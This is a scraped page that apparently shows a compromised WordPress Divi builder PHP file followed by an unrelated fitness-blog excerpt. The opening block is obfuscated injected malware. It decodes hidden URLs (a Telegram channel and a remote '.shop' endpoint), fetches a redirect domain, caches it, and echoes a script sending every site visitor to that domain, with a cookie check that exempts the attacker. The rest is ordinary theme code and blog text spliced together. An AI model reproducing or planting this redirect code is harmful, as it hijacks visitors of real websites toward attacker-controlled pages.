if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?> /** * Generalized dynamic content implementation to make it usable for WooCommerce Modules. * * @package Divi * @subpackage Builder */ /** * Handle ajax requests to resolve post content. * * @since 3.17.2 * * @return void */ function et_builder_ajax_resolve_post_content() { if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( $_POST['nonce'] ), 'et_fb_resolve_post_content' ) ) { // phpcs:ignore ET.Sniffs.ValidatedSanitizedInput -- The nonce value is used only for comparision in the `wp_verify_nonce`. et_core_die(); } $_ = ET_Core_Data_Utils::instance(); $post_id = isset( $_POST['post_id'] ) ? (int) $_POST['post_id'] : 0; // phpcs:disable ET.Sniffs.ValidatedSanitizedInput -- All values from `$_POST['groups']` and `$_POST['overrides']` arrays value are being sanitized before use in following foreach loop. $groups = isset( $_POST['groups'] ) && is_array( $_POST['groups'] ) ? $_POST['groups'] : array(); $overrides = isset( $_POST['overrides'] ) && is_array( $_POST['overrides'] ) ? $_POST['overrides'] : array(); // phpcs:enable $overrides = array_map( 'wp_kses_post', $overrides ); $post = get_post( $post_id ); $invalid_permissions = ! current_user_can( 'edit_post', $post_id ); $invalid_post = null === $post; if ( $invalid_permissions || $invalid_post ) { et_core_die(); } $response = array(); foreach ( $groups as $hash => $field_group ) { $group = sanitize_text_field( isset( $field_group['group'] ) ? (string) $field_group['group'] : '' ); $field = isset( $field_group['field'] ) ? sanitize_text_field( (string) $field_group['field'] ) : ''; $settings = isset( $field_group['settings'] ) && is_array( $field_group['settings'] ) ? wp_unslash( $field_group['settings'] ) : array(); $settings = array_map( 'wp_kses_post', $settings ); $is_content = $_->array_get( $field_group, 'attribute' ) === 'content'; $response[ $hash ] = apply_filters( "et_builder_resolve_{$group}_post_content_field", $field, $settings, $post_id, $overrides, $is_content ); } wp_send_json_success( $response ); } add_action( 'wp_ajax_et_builder_resolve_post_content', 'et_builder_ajax_resolve_post_content' ); /** * List terms for a given post. * * @since 3.17.2 * * @param array $terms List of terms. * @param boolean $link Whether return link or label. * @param string $separator Terms separators. * * @return string */ function et_builder_list_terms( $terms, $link = true, $separator = ' | ' ) { $output = array(); foreach ( $terms as $term ) { $label = esc_html( $term->name ); if ( $link ) { $label = sprintf( '%2$s', esc_url( get_term_link( $term ) ), et_core_esc_previously( $label ) ); } $output[] = $label; } return implode( esc_html( $separator ), $output ); } /** * Get the title for the current page be it a post, a tax archive, search etc. * * @since 4.0 * * @param integer $post_id Post id. * * @return string */ function et_builder_get_current_title( $post_id = 0 ) { if ( 0 === $post_id ) { $post_id = get_the_ID(); } $post_id = (int) $post_id; if ( ! ET_Builder_Element::is_theme_builder_layout() || is_singular() ) { return get_the_title( $post_id ); } if ( is_front_page() ) { return __( 'Home', 'et_builder' ); } if ( is_home() ) { return __( 'Blog', 'et_builder' ); } if ( is_404() ) { return __( 'No Results Found', 'et_builder' ); } if ( is_search() ) { return sprintf( __( 'Results for "%1$s"', 'et_builder' ), get_search_query() ); } if ( is_author() ) { return get_the_author(); } if ( is_post_type_archive() ) { return post_type_archive_title( '', false ); } if ( is_category() || is_tag() || is_tax() ) { return single_term_title( '', false ); } return get_the_archive_title(); } #Athletics | Coach JC Blog
5 Minute Blast with Coach JC

5 Minute Blast with Coach JC

It's time for you to OWN THE MOMENT with your 5 Min. Blast with Coach JC WIN in Your Fitness, Nutrition & Life! https://vimeo.com/229738135 Today's 5 Minute Blast: Burpee Ladder 5 Minutes -Up Ladder by two's 1. Burpee 2. Five Squat to Press 3.  Burpee 4.  (Repeat)...

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